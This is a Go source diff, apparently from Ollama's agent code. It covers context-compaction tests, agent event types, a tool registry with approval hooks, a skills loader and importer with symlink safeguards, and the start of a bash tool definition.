func TestSimpleCompactorSkipsBelowThreshold(t *testing.T) {
client := &fakeClient{}
compactor := NewSimpleCompactor(client, nil, CompactionOptions{
ContextWindowTokens: 100,
Threshold: 0.8,
})
messages := []api.Message{
{Role: "user", Content: "one"},
{Role: "user", Content: "two"},
{Role: "user", Content: "three"},
{Role: "user", Content: "four"},
{Role: "user", Content: "five"},
}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
Model: "model",
Messages: messages,
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 50}},
})
if err != nil {
t.Fatal(err)
}
if result.Compacted {
t.Fatal("did not expect compaction")
}
if result.Due {
t.Fatal("below-threshold compaction should not be due")
}
if len(result.Messages) != len(messages) {
t.Fatalf("messages changed below threshold: %#v", result.Messages)
}
if len(client.requests) != 0 {
t.Fatalf("summary requests = %d, want 0", len(client.requests))
}
}
func TestSimpleCompactorUsesEstimatedMessagesWhenPromptEvalMissing(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "estimated summary"}},
}},
}
compactor := NewSimpleCompactor(client, nil, CompactionOptions{
ContextWindowTokens: 100,
KeepUserTurns: 1,
Threshold: 0.8,
})
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
Model: "model",
Messages: []api.Message{
{Role: "user", Content: "old request"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "read large output"},
{Role: "assistant", ToolCalls: []api.ToolCall{{
ID: "call-1",
Function: api.ToolCallFunction{
Name: "read",
},
}}},
{Role: "tool", ToolName: "read", ToolCallID: "call-1", Content: strings.Repeat("x", 360)},
},
})
if err != nil {
t.Fatal(err)
}
if !result.Due || !result.Compacted {
t.Fatalf("expected estimate-driven compaction, got %#v", result)
}
if result.Summary != "estimated summary" {
t.Fatalf("summary = %q", result.Summary)
}
}
func TestSimpleCompactorEstimateIncludesRequestPreamble(t *testing.T) {
compactor := NewSimpleCompactor(nil, nil, CompactionOptions{
ContextWindowTokens: 100,
Threshold: 0.8,
})
if !compactor.shouldCompact(CompactionRequest{
SystemPrompt: strings.Repeat("system ", 360),
Messages: []api.Message{{Role: "user", Content: "tiny"}},
}) {
t.Fatal("system prompt should count toward compaction estimate")
}
if !compactor.shouldCompact(CompactionRequest{
Messages: []api.Message{{Role: "user", Content: "tiny"}},
Tools: api.Tools{{
Type: "function",
Function: api.ToolFunction{
Name: "verbose_tool",
Description: strings.Repeat("description ", 360),
},
}},
}) {
t.Fatal("tool definitions should count toward compaction estimate")
}
}
func TestCompactionPromptFitsBudgetByTruncatingLargeToolOutput(t *testing.T) {
largeToolOutput := strings.Repeat("x", 10_000)
body, err := compactionPrompt("", []api.Message{
{Role: "user", Content: "what changed?"},
{Role: "assistant", ToolCalls: []api.ToolCall{{
ID: "call-1",
Function: api.ToolCallFunction{
Name: "bash",
},
}}},
{Role: "tool", ToolName: "bash", ToolCallID: "call-1", Content: largeToolOutput},
}, 300)
if err != nil {
t.Fatal(err)
}
if estimateCompactionTokens(body) > 300 {
t.Fatalf("compaction prompt tokens = %d, want <= 300", estimateCompactionTokens(body))
}
if strings.Count(body, "x") >= len(largeToolOutput) {
t.Fatal("large tool output was not truncated")
}
if !strings.Contains(body, "[tool output truncated: showing first ~") {
t.Fatalf("truncation marker missing from compaction prompt: %q", body)
}
}
func TestCompactionPromptRetruncatesAlreadyTruncatedToolOutput(t *testing.T) {
alreadyTruncated := strings.Repeat("x", 7000) + "\n\n[tool output truncated: showing first ~100 tokens and last ~100 tokens; omitted ~99999 tokens. Use a narrower command, line range, or search query if more detail is needed.]\n\n" + strings.Repeat("y", 7000)
body, err := compactionPrompt("", []api.Message{
{Role: "user", Content: "what changed?"},
{Role: "assistant", ToolCalls: []api.ToolCall{{
ID: "call-1",
Function: api.ToolCallFunction{
Name: "bash",
},
}}},
{Role: "tool", ToolName: "bash", ToolCallID: "call-1", Content: alreadyTruncated},
}, 300)
if err != nil {
t.Fatal(err)
}
if estimateCompactionTokens(body) > 300 {
t.Fatalf("compaction prompt tokens = %d, want <= 300", estimateCompactionTokens(body))
}
if strings.Count(body, "x")+strings.Count(body, "y") >= 14_000 {
t.Fatal("already-truncated tool output was not truncated again")
}
if !strings.Contains(body, "[tool output truncated: showing first ~") {
t.Fatalf("truncation marker missing from compaction prompt: %q", body)
}
}
func TestCompactionSummaryTextStripsPrefix(t *testing.T) {
content := compactionSummaryMessage("worked on branch changes")
if got := compactionSummaryText(content); got != "worked on branch changes" {
t.Fatalf("summary text = %q", got)
}
}
func TestCompactionSummaryCanTellModelToContinueTask(t *testing.T) {
content := compactionSummaryMessageForTask("worked on branch changes", true)
if !strings.Contains(content, compactionContinueInstruction) {
t.Fatalf("summary message missing continue instruction: %q", content)
}
if got := compactionSummaryText(content); got != "worked on branch changes" {
t.Fatalf("summary text = %q", got)
}
}
func TestResolveContextWindowTokensUsesSmallerKnownWindow(t *testing.T) {
tests := []struct {
name string
options map[string]any
configured int
want int
}{
{
name: "explicit smaller num ctx",
options: map[string]any{"num_ctx": 4096},
configured: 8192,
want: 4096,
},
{
name: "server effective smaller than requested num ctx",
options: map[string]any{"num_ctx": 131072},
configured: 8192,
want: 8192,
},
{
name: "metadata without explicit num ctx",
configured: 32768,
want: 32768,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
if got := ResolveContextWindowTokens(tt.options, tt.configured); got != tt.want {
t.Fatalf("ResolveContextWindowTokens() = %d, want %d", got, tt.want)
}
})
}
}
func TestSimpleCompactorForceCompactsWithoutPromptEvalCount(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "forced summary"}},
}},
}
compactor := NewSimpleCompactor(client, nil, CompactionOptions{
ContextWindowTokens: 100,
KeepUserTurns: 1,
Threshold: 0.8,
})
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
Model: "model",
Messages: []api.Message{
{Role: "user", Content: "old"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "recent"},
},
Force: true,
})
if err != nil {
t.Fatal(err)
}
if !result.Due || !result.Compacted {
t.Fatalf("forced compaction result = %#v", result)
}
if result.Summary != "forced summary" {
t.Fatalf("summary = %q", result.Summary)
}
}
func TestSimpleCompactorDefaultsToKeepingThreeUserTurns(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "summary"}},
}},
}
store := &compactionStore{}
compactor := NewSimpleCompactor(client, store, CompactionOptions{
ContextWindowTokens: 16000,
Threshold: 0.5,
})
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
ChatID: "chat-1",
Model: "model",
Messages: []api.Message{
{Role: "user", Content: "old"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "one"},
{Role: "assistant", Content: "one answer"},
{Role: "user", Content: "two"},
{Role: "assistant", Content: "two answer"},
{Role: "user", Content: "three"},
},
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
})
if err != nil {
t.Fatal(err)
}
if !result.Compacted {
t.Fatal("expected compaction")
}
if store.keepUserTurns != 3 {
t.Fatalf("keepUserTurns = %d, want 3", store.keepUserTurns)
}
assertCompactionSummaryPair(t, result.Messages[:2])
if got := result.Messages[2].Content; got != "one" {
t.Fatalf("first kept turn = %q, want one", got)
}
}
func TestSimpleCompactorCarriesPreviousSummary(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "new summary"}},
}},
}
compactor := NewSimpleCompactor(client, nil, CompactionOptions{
ContextWindowTokens: 16000,
KeepUserTurns: 1,
Threshold: 0.5,
})
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
Model: "model",
Messages: []api.Message{
{Role: "system", Content: compactionSummaryMessagePrefix + "old summary"},
{Role: "user", Content: "old"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "recent"},
},
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
})
if err != nil {
t.Fatal(err)
}
if !result.Compacted {
t.Fatal("expected compaction")
}
if !strings.Contains(client.requests[0].Messages[1].Content, "Previous summary:\nold summary") {
t.Fatalf("previous summary missing from request: %q", client.requests[0].Messages[1].Content)
}
}
func TestSimpleCompactorCarriesPreviousToolSummaryAndPlacesNewSummaryBeforeKeptSuffix(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "new summary"}},
}},
}
compactor := NewSimpleCompactor(client, nil, CompactionOptions{
ContextWindowTokens: 16000,
KeepUserTurns: 1,
Threshold: 0.5,
})
messages := []api.Message{
{Role: "user", Content: "kept before old summary"},
compactionSummaryMessages("old summary")[0],
compactionSummaryMessages("old summary")[1],
{Role: "user", Content: "latest request"},
}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
Model: "model",
Messages: messages,
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
})
if err != nil {
t.Fatal(err)
}
if !result.Compacted {
t.Fatal("expected compaction")
}
if !strings.Contains(client.requests[0].Messages[1].Content, "Previous summary:\nold summary") {
t.Fatalf("previous summary missing from request: %q", client.requests[0].Messages[1].Content)
}
if len(result.Messages) != 3 {
t.Fatalf("messages = %#v, want compaction pair plus latest request", result.Messages)
}
assertCompactionSummaryPair(t, result.Messages[:2])
if result.Messages[2].Content != "latest request" {
t.Fatalf("kept suffix = %#v", result.Messages)
}
}
+94
View File
@@ -0,0 +1,94 @@
package agent
import (
"context"
"time"
"github.com/ollama/ollama/api"
)
type EventType string
const (
EventRunStarted EventType = "run_started"
EventMessageStarted EventType = "message_started"
EventMessageDelta EventType = "message_delta"
EventThinkingDelta EventType = "thinking_delta"
EventToolCallDetected EventType = "tool_call_detected"
EventToolStarted EventType = "tool_started"
EventToolFinished EventType = "tool_finished"
EventToolsUnavailable EventType = "tools_unavailable"
EventCompactionStarted EventType = "compaction_started"
EventCompactionProgress EventType = "compaction_progress"
EventCompacted EventType = "compacted"
EventCompactionSkipped EventType = "compaction_skipped"
EventLoopStep EventType = "loop_step"
EventRequestBuilt EventType = "request_built"
EventModelStreamDone EventType = "model_stream_done"
EventRunFinished EventType = "run_finished"
EventError EventType = "error"
)
type Event struct {
Type EventType `json:"type"`
RunID string `json:"runId,omitempty"`
ChatID string `json:"chatId,omitempty"`
MessageID string `json:"messageId,omitempty"`
Model string `json:"model,omitempty"`
Status string `json:"status,omitempty"`
ToolCallID string `json:"toolCallId,omitempty"`
ToolName string `json:"toolName,omitempty"`
WorkingDir string `json:"workingDir,omitempty"`
Content string `json:"content,omitempty"`
Thinking string `json:"thinking,omitempty"`
ToolCalls []api.ToolCall `json:"toolCalls,omitempty"`
Messages []api.Message `json:"messages,omitempty"`
Args map[string]any `json:"args,omitempty"`
Tokens int `json:"tokens,omitempty"`
PromptTokens int `json:"promptTokens,omitempty"`
ContextWindowTokens int `json:"contextWindowTokens,omitempty"`
CompactionThresholdTokens int `json:"compactionThresholdTokens,omitempty"`
MessageCount int `json:"messageCount,omitempty"`
UserMessageCount int `json:"userMessageCount,omitempty"`
AssistantMessageCount int `json:"assistantMessageCount,omitempty"`
ToolMessageCount int `json:"toolMessageCount,omitempty"`
SystemMessageCount int `json:"systemMessageCount,omitempty"`
ToolCallCount int `json:"toolCallCount,omitempty"`
ToolCount int `json:"toolCount,omitempty"`
ToolNames []string `json:"toolNames,omitempty"`
ToolRound int `json:"toolRound,omitempty"`
ToolRoundLimit int `json:"toolRoundLimit,omitempty"`
Error string `json:"error,omitempty"`
StartedAt time.Time `json:"startedAt,omitempty"`
FinishedAt time.Time `json:"finishedAt,omitempty"`
Response *api.ChatResponse `json:"-"`
}
type EventSink interface {
Emit(Event) error
}
type EventSinkFunc func(Event) error
func (fn EventSinkFunc) Emit(event Event) error {
if fn == nil {
return nil
}
return fn(event)
}
func emit(sink EventSink, event Event) error {
if sink == nil {
return nil
}
return sink.Emit(event)
}
func emitIgnoringCanceled(ctx context.Context, sink EventSink, event Event) error {
err := emit(sink, event)
if err != nil && ctx != nil && ctx.Err() != nil {
//nolint:nilerr // Event sinks may close during cancellation; cancellation is not a user-facing emit failure.
return nil
}
return err
}
+103
View File
@@ -0,0 +1,103 @@
package agent
import (
"context"
"fmt"
"sort"
"github.com/ollama/ollama/api"
)
type ToolContext struct {
WorkingDir string
}
type ToolResult struct {
Content string
WorkingDir string
}
type Tool interface {
Name() string
Description() string
Schema() api.ToolFunction
Execute(context.Context, ToolContext, map[string]any) (ToolResult, error)
}
type ApprovalRequired interface {
RequiresApproval(map[string]any) bool
}
type Registry struct {
tools map[string]Tool
}
func NewRegistry() *Registry {
return &Registry{tools: make(map[string]Tool)}
}
func (r *Registry) Register(tool Tool) {
if r == nil || tool == nil {
return
}
r.tools[tool.Name()] = tool
}
func (r *Registry) Has(name string) bool {
if r == nil {
return false
}
_, ok := r.tools[name]
return ok
}
func (r *Registry) Get(name string) (Tool, bool) {
if r == nil {
return nil, false
}
tool, ok := r.tools[name]
return tool, ok
}
func (r *Registry) Names() []string {
if r == nil {
return nil
}
names := make([]string, 0, len(r.tools))
for name := range r.tools {
names = append(names, name)
}
sort.Strings(names)
return names
}
func (r *Registry) Tools() api.Tools {
names := r.Names()
apiTools := make(api.Tools, 0, len(names))
for _, name := range names {
tool := r.tools[name]
apiTools = append(apiTools, api.Tool{
Type: "function",
Function: tool.Schema(),
})
}
return apiTools
}
func (r *Registry) Execute(ctx context.Context, toolCtx ToolContext, call api.ToolCall) (ToolResult, error) {
tool, ok := r.Get(call.Function.Name)
if !ok {
return ToolResult{}, fmt.Errorf("unknown tool: %s", call.Function.Name)
}
return tool.Execute(ctx, toolCtx, call.Function.Arguments.ToMap())
}
func ToolRequiresApproval(tool Tool, args map[string]any) bool {
if tool == nil {
return false
}
if t, ok := tool.(ApprovalRequired); ok {
return t.RequiresApproval(args)
}
return false
}
+1073
View File
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
+165
View File
@@ -0,0 +1,165 @@
package skills
import (
"errors"
"fmt"
"os"
"path/filepath"
"slices"
"strings"
)
type ImportResult struct {
Source string
Skill Skill
From string
To string
Skipped bool
Error string
}
type skillDirCandidate struct {
Dir string
Skipped bool
Error string
}
func Import(source string, force bool) ([]ImportResult, error) {
dest, err := DefaultDir()
if err != nil {
return nil, err
}
return ImportToDir(source, dest, force)
}
func ImportToDir(source, dest string, force bool) ([]ImportResult, error) {
roots, err := SourceDirs(source)
if err != nil {
return nil, err
}
if err := os.MkdirAll(dest, 0o755); err != nil {
return nil, fmt.Errorf("create skills directory: %w", err)
}
var results []ImportResult
for _, root := range roots {
candidates, err := skillDirs(root)
if err != nil {
if errors.Is(err, os.ErrNotExist) {
continue
}
results = append(results, ImportResult{Source: source, From: root, Skipped: true, Error: err.Error()})
continue
}
for _, candidate := range candidates {
result := ImportResult{Source: source, From: candidate.Dir}
if candidate.Skipped {
result.Skipped = true
result.Error = candidate.Error
results = append(results, result)
continue
}
skill, err := ReadMetadata(filepath.Join(candidate.Dir, SkillFile))
if err != nil {
result.Skipped = true
result.Error = err.Error()
results = append(results, result)
continue
}
result.Skill = skill
result.To = filepath.Join(dest, skill.Name)
copyResult, err := copyDir(candidate.Dir, result.To, force)
if errors.Is(err, os.ErrExist) {
result.Skipped = true
result.Error = "already exists"
} else if err != nil {
result.Skipped = true
result.Error = err.Error()
} else if len(copyResult.Skipped) > 0 {
result.Error = "skipped symlinks: " + strings.Join(copyResult.Skipped, ", ")
}
results = append(results, result)
}
}
slices.SortFunc(results, func(a, b ImportResult) int {
return strings.Compare(a.Skill.Name+a.From, b.Skill.Name+b.From)
})
return results, nil
}
func SourceDirs(source string) ([]string, error) {
source = strings.ToLower(strings.TrimSpace(source))
if source == "" {
source = "all"
}
home, err := os.UserHomeDir()
if err != nil {
return nil, fmt.Errorf("resolve home directory: %w", err)
}
dirs := map[string][]string{
"claude": {filepath.Join(home, ".claude", "skills")},
"codex": {filepath.Join(home, ".codex", "skills")},
"pi": {filepath.Join(home, ".pi", "skills"), filepath.Join(home, ".agents", "skills")},
"agents": {filepath.Join(home, ".agents", "skills")},
}
if source == "all" {
var all []string
for _, name := range []string{"claude", "codex", "pi"} {
all = append(all, dirs[name]...)
}
return uniqueStrings(all), nil
}
if roots, ok := dirs[source]; ok {
return roots, nil
}
return nil, fmt.Errorf("unknown skill source %q (use claude, codex, pi, agents, or all)", source)
}
func skillDirs(root string) ([]skillDirCandidate, error) {
entries, err := os.ReadDir(root)
if err != nil {
return nil, err
}
var dirs []skillDirCandidate
for _, entry := range entries {
if strings.HasPrefix(entry.Name(), ".") {
continue
}
dir := filepath.Join(root, entry.Name())
if entry.Type()&os.ModeSymlink != 0 {
dirs = append(dirs, skillDirCandidate{
Dir: dir,
Skipped: true,
Error: "symlinked skill directories are not supported",
})
continue
}
if !entry.IsDir() {
continue
}
if _, err := os.Stat(filepath.Join(dir, SkillFile)); err == nil {
dirs = append(dirs, skillDirCandidate{Dir: dir})
}
}
slices.SortFunc(dirs, func(a, b skillDirCandidate) int {
return strings.Compare(a.Dir, b.Dir)
})
return dirs, nil
}
func uniqueStrings(values []string) []string {
seen := make(map[string]bool)
var out []string
for _, value := range values {
if seen[value] {
continue
}
seen[value] = true
out = append(out, value)
}
return out
}
+319
View File
@@ -0,0 +1,319 @@
package skills
import (
"errors"
"fmt"
"io/fs"
"os"
"path/filepath"
"regexp"
"slices"
"strings"
"gopkg.in/yaml.v3"
)
const (
SkillFile = "SKILL.md"
maxSkillFileBytes = 1 << 20
)
var validName = regexp.MustCompile(`^[a-z0-9][a-z0-9-]{0,63}$`)
type Skill struct {
Name string
Description string
Dir string
File string
}
type Catalog struct {
Dir string
Skills []Skill
Warnings []string
}
type frontmatter struct {
Name string `yaml:"name"`
Description string `yaml:"description"`
}
func DefaultDir() (string, error) {
home, err := os.UserHomeDir()
if err != nil {
return "", fmt.Errorf("resolve home directory: %w", err)
}
return filepath.Join(home, ".ollama", "skills"), nil
}
func LoadDefault() (*Catalog, error) {
dir, err := DefaultDir()
if err != nil {
return nil, err
}
return Load(dir)
}
func Load(dir string) (*Catalog, error) {
catalog := &Catalog{Dir: dir}
entries, err := os.ReadDir(dir)
if err != nil {
if errors.Is(err, os.ErrNotExist) {
return catalog, nil
}
return nil, fmt.Errorf("read skills directory: %w", err)
}
seen := make(map[string]string)
for _, entry := range entries {
if !entry.IsDir() || strings.HasPrefix(entry.Name(), ".") {
continue
}
skillDir := filepath.Join(dir, entry.Name())
skill, err := ReadMetadata(filepath.Join(skillDir, SkillFile))
if err != nil {
catalog.Warnings = append(catalog.Warnings, fmt.Sprintf("%s: %v", skillDir, err))
continue
}
skill.Dir = skillDir
skill.File = filepath.Join(skillDir, SkillFile)
if previous, ok := seen[skill.Name]; ok {
catalog.Warnings = append(catalog.Warnings, fmt.Sprintf("%s: duplicate skill name %q already loaded from %s", skillDir, skill.Name, previous))
continue
}
seen[skill.Name] = skillDir
catalog.Skills = append(catalog.Skills, skill)
}
slices.SortFunc(catalog.Skills, func(a, b Skill) int {
return strings.Compare(a.Name, b.Name)
})
return catalog, nil
}
func ReadMetadata(path string) (Skill, error) {
data, err := readSkillFile(path)
if err != nil {
return Skill{}, err
}
meta, _, err := parseSkillFile(data)
if err != nil {
return Skill{}, err
}
if err := validateMetadata(meta); err != nil {
return Skill{}, err
}
return Skill{Name: meta.Name, Description: meta.Description}, nil
}
func (c *Catalog) Empty() bool {
return c == nil || len(c.Skills) == 0
}
func (c *Catalog) Find(name string) (Skill, bool) {
if c == nil {
return Skill{}, false
}
name = NormalizeName(name)
for _, skill := range c.Skills {
if skill.Name == name {
return skill, true
}
}
return Skill{}, false
}
func (c *Catalog) SummaryMarkdown() string {
if c.Empty() {
return "No skills are installed."
}
var b strings.Builder
b.WriteString("Installed skills:\n\n")
for _, skill := range c.Skills {
b.WriteString("- **")
b.WriteString(skill.Name)
b.WriteString("**: ")
b.WriteString(skill.Description)
b.WriteByte('\n')
}
return strings.TrimRight(b.String(), "\n")
}
func (c *Catalog) SystemPrompt(toolAvailable bool) string {
if c.Empty() {
return ""
}
var b strings.Builder
b.WriteString("Agent skills are available. Skills are reusable instruction packages stored under ")
b.WriteString(c.Dir)
b.WriteString(".\n")
b.WriteString("Use a skill when its description matches the user's task. Load only metadata up front; load full instructions only when needed.\n")
if toolAvailable {
b.WriteString("To load a skill, call the skill tool with the skill name. After loading SKILL.md, follow it. Resolve relative references from the returned skill directory.\n")
} else {
b.WriteString("This model cannot call tools in this session. Follow any skill instructions that are explicitly provided by the user or system.\n")
}
b.WriteString("\nAvailable skills:\n")
for _, skill := range c.Skills {
b.WriteString("- ")
b.WriteString(skill.Name)
b.WriteString(": ")
b.WriteString(skill.Description)
b.WriteByte('\n')
}
return strings.TrimRight(b.String(), "\n")
}
func (s Skill) Read() (string, error) {
if s.File == "" {
return "", fmt.Errorf("skill %q has no %s path", s.Name, SkillFile)
}
data, err := readSkillFile(s.File)
if err != nil {
return "", err
}
return string(data), nil
}
func readSkillFile(path string) ([]byte, error) {
info, err := os.Lstat(path)
if err != nil {
return nil, err
}
if info.Mode()&os.ModeSymlink != 0 {
return nil, fmt.Errorf("%s must not be a symlink", SkillFile)
}
if !info.Mode().IsRegular() {
return nil, fmt.Errorf("%s must be a regular file", SkillFile)
}
if info.Size() > maxSkillFileBytes {
return nil, fmt.Errorf("%s exceeds %d bytes", SkillFile, maxSkillFileBytes)
}
return os.ReadFile(path)
}
func NormalizeName(name string) string {
name = strings.TrimSpace(name)
name = strings.TrimPrefix(name, "/")
return strings.ToLower(name)
}
func parseSkillFile(data []byte) (frontmatter, string, error) {
text := strings.ReplaceAll(string(data), "\r\n", "\n")
if !strings.HasPrefix(text, "---\n") {
return frontmatter{}, "", fmt.Errorf("%s must start with YAML frontmatter", SkillFile)
}
rest := text[len("---\n"):]
end := strings.Index(rest, "\n---")
if end < 0 {
return frontmatter{}, "", fmt.Errorf("%s frontmatter is not closed", SkillFile)
}
var meta frontmatter
if err := yaml.Unmarshal([]byte(rest[:end]), &meta); err != nil {
return frontmatter{}, "", fmt.Errorf("parse frontmatter: %w", err)
}
body := rest[end+len("\n---"):]
body = strings.TrimPrefix(body, "\n")
return meta, body, nil
}
func validateMetadata(meta frontmatter) error {
if !validName.MatchString(meta.Name) {
return fmt.Errorf("invalid skill name %q", meta.Name)
}
if strings.TrimSpace(meta.Description) == "" {
return fmt.Errorf("skill %q has empty description", meta.Name)
}
if len([]rune(meta.Description)) > 1024 {
return fmt.Errorf("skill %q description exceeds 1024 characters", meta.Name)
}
return nil
}
type copyDirResult struct {
Skipped []string
}
func copyDir(src, dst string, force bool) (copyDirResult, error) {
if _, err := os.Stat(dst); err == nil && !force {
return copyDirResult{}, fs.ErrExist
} else if err != nil && !errors.Is(err, os.ErrNotExist) {
return copyDirResult{}, err
}
parent := filepath.Dir(dst)
if err := os.MkdirAll(parent, 0o755); err != nil {
return copyDirResult{}, err
}
tmp, err := os.MkdirTemp(parent, "."+filepath.Base(dst)+".tmp-*")
if err != nil {
return copyDirResult{}, err
}
moved := false
defer func() {
if !moved {
_ = os.RemoveAll(tmp)
}
}()
var result copyDirResult
if err := filepath.WalkDir(src, func(path string, d fs.DirEntry, err error) error {
if err != nil {
return err
}
rel, err := filepath.Rel(src, path)
if err != nil {
return err
}
if rel == "." {
return nil
}
target := filepath.Join(tmp, rel)
if d.Type()&os.ModeSymlink != 0 {
result.Skipped = append(result.Skipped, rel)
return nil
}
if d.IsDir() {
info, err := d.Info()
if err != nil {
return err
}
return os.MkdirAll(target, info.Mode().Perm())
}
info, err := d.Info()
if err != nil {
return err
}
data, err := os.ReadFile(path)
if err != nil {
return err
}
return os.WriteFile(target, data, info.Mode().Perm())
}); err != nil {
return result, err
}
if force {
if err := os.RemoveAll(dst); err != nil {
return result, err
}
}
if _, err := os.Stat(dst); err == nil {
return result, fs.ErrExist
} else if err != nil && !errors.Is(err, os.ErrNotExist) {
return result, err
}
if err := os.Rename(tmp, dst); err != nil {
return result, err
}
moved = true
return result, nil
}
+157
View File
@@ -0,0 +1,157 @@
package skills
import (
"os"
"path/filepath"
"runtime"
"strings"
"testing"
)
func TestLoadCatalogReadsSkillMetadata(t *testing.T) {
dir := t.TempDir()
writeSkill(t, filepath.Join(dir, "go-code"), "go-code", "Write idiomatic Go code.")
catalog, err := Load(dir)
if err != nil {
t.Fatal(err)
}
if len(catalog.Skills) != 1 {
t.Fatalf("skills = %d, want 1: %#v", len(catalog.Skills), catalog)
}
if got := catalog.Skills[0].Name; got != "go-code" {
t.Fatalf("skill name = %q", got)
}
if prompt := catalog.SystemPrompt(true); !strings.Contains(prompt, "go-code: Write idiomatic Go code.") || !strings.Contains(prompt, "call the skill tool") {
t.Fatalf("system prompt missing skill metadata: %q", prompt)
}
}
func TestLoadCatalogSkipsInvalidSkills(t *testing.T) {
dir := t.TempDir()
writeSkill(t, filepath.Join(dir, "bad"), "Bad_Name", "bad")
catalog, err := Load(dir)
if err != nil {
t.Fatal(err)
}
if len(catalog.Skills) != 0 {
t.Fatalf("skills = %#v, want none", catalog.Skills)
}
if len(catalog.Warnings) == 0 {
t.Fatal("expected invalid skill warning")
}
}
func TestImportToDirCopiesCanonicalSkill(t *testing.T) {
home := t.TempDir()
t.Setenv("HOME", home)
t.Setenv("USERPROFILE", home)
src := filepath.Join(home, ".claude", "skills", "go-code")
writeSkill(t, src, "go-code", "Write idiomatic Go code.")
if err := os.WriteFile(filepath.Join(src, "notes.md"), []byte("notes"), 0o644); err != nil {
t.Fatal(err)
}
dest := filepath.Join(home, ".ollama", "skills")
results, err := ImportToDir("claude", dest, false)
if err != nil {
t.Fatal(err)
}
if len(results) != 1 || results[0].Skipped {
t.Fatalf("results = %#v", results)
}
if _, err := os.Stat(filepath.Join(dest, "go-code", "notes.md")); err != nil {
t.Fatal(err)
}
}
func TestReadMetadataRejectsSymlink(t *testing.T) {
if runtime.GOOS == "windows" {
t.Skip("symlink permissions vary on Windows")
}
dir := t.TempDir()
real := filepath.Join(dir, "real.md")
if err := os.WriteFile(real, []byte("---\nname: go-code\ndescription: Write idiomatic Go code.\n---\n"), 0o644); err != nil {
t.Fatal(err)
}
link := filepath.Join(dir, SkillFile)
if err := os.Symlink(real, link); err != nil {
t.Fatal(err)
}
if _, err := ReadMetadata(link); err == nil || !strings.Contains(err.Error(), "must not be a symlink") {
t.Fatalf("ReadMetadata error = %v, want symlink rejection", err)
}
}
func TestImportToDirReportsSymlinkedSkillDirectory(t *testing.T) {
if runtime.GOOS == "windows" {
t.Skip("symlink permissions vary on Windows")
}
home := t.TempDir()
t.Setenv("HOME", home)
t.Setenv("USERPROFILE", home)
srcRoot := filepath.Join(home, ".claude", "skills")
real := filepath.Join(home, "elsewhere", "go-code")
writeSkill(t, real, "go-code", "Write idiomatic Go code.")
if err := os.MkdirAll(srcRoot, 0o755); err != nil {
t.Fatal(err)
}
if err := os.Symlink(real, filepath.Join(srcRoot, "go-code")); err != nil {
t.Fatal(err)
}
results, err := ImportToDir("claude", filepath.Join(home, ".ollama", "skills"), false)
if err != nil {
t.Fatal(err)
}
if len(results) != 1 || !results[0].Skipped {
t.Fatalf("results = %#v, want one skipped symlink directory", results)
}
if !strings.Contains(results[0].Error, "symlinked skill directories") {
t.Fatalf("error = %q, want symlink directory warning", results[0].Error)
}
}
func TestImportToDirReportsSkippedSymlinkEntries(t *testing.T) {
if runtime.GOOS == "windows" {
t.Skip("symlink permissions vary on Windows")
}
home := t.TempDir()
t.Setenv("HOME", home)
t.Setenv("USERPROFILE", home)
src := filepath.Join(home, ".claude", "skills", "go-code")
writeSkill(t, src, "go-code", "Write idiomatic Go code.")
target := filepath.Join(home, "outside.md")
if err := os.WriteFile(target, []byte("outside"), 0o644); err != nil {
t.Fatal(err)
}
if err := os.Symlink(target, filepath.Join(src, "outside.md")); err != nil {
t.Fatal(err)
}
results, err := ImportToDir("claude", filepath.Join(home, ".ollama", "skills"), false)
if err != nil {
t.Fatal(err)
}
if len(results) != 1 || results[0].Skipped {
t.Fatalf("results = %#v, want one imported skill", results)
}
if !strings.Contains(results[0].Error, "skipped symlinks: outside.md") {
t.Fatalf("error = %q, want skipped symlink warning", results[0].Error)
}
if _, err := os.Lstat(filepath.Join(home, ".ollama", "skills", "go-code", "outside.md")); !os.IsNotExist(err) {
t.Fatalf("copied symlink err = %v, want missing symlink", err)
}
}
func writeSkill(t *testing.T, dir, name, description string) {
t.Helper()
if err := os.MkdirAll(dir, 0o755); err != nil {
t.Fatal(err)
}
content := "---\nname: " + name + "\ndescription: " + description + "\n---\n\n# " + name + "\n\nUse this skill.\n"
if err := os.WriteFile(filepath.Join(dir, SkillFile), []byte(content), 0o644); err != nil {
t.Fatal(err)
}
}
+202
View File
@@ -0,0 +1,202 @@
package tools
import (
"context"
"fmt"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"time"
"github.com/ollama/ollama/agent"
"github.com/ollama/ollama/api"
)
const (
bashTimeout = 3 * time.Minute
maxBashOutputBytes = 60_000
)
type Bash struct{}
func NewBash() *Bash {
return &Bash{}
}
func (b *Bash) Name() string {
return "bash"
}
func (b *Bash) Description() string {
return "Execute a bash command on the system. Use this to run shell commands, inspect files, run tests, and perform development tasks."
}
func (b *Bash) Schema() api.ToolFunction {
props := api.NewToolPropertiesMap()
props.Set("command", api.ToolProperty{
Type: api.PropertyType{"string"},
Description: "The bash command to execute.",
})
return api.ToolFunction{
Name: b.Name(),
Description: b.Description(),
Parameters: api.ToolFunctionParameters{
Type: "object",
Properties: props,
Required: []string{"command"},
},
}
}
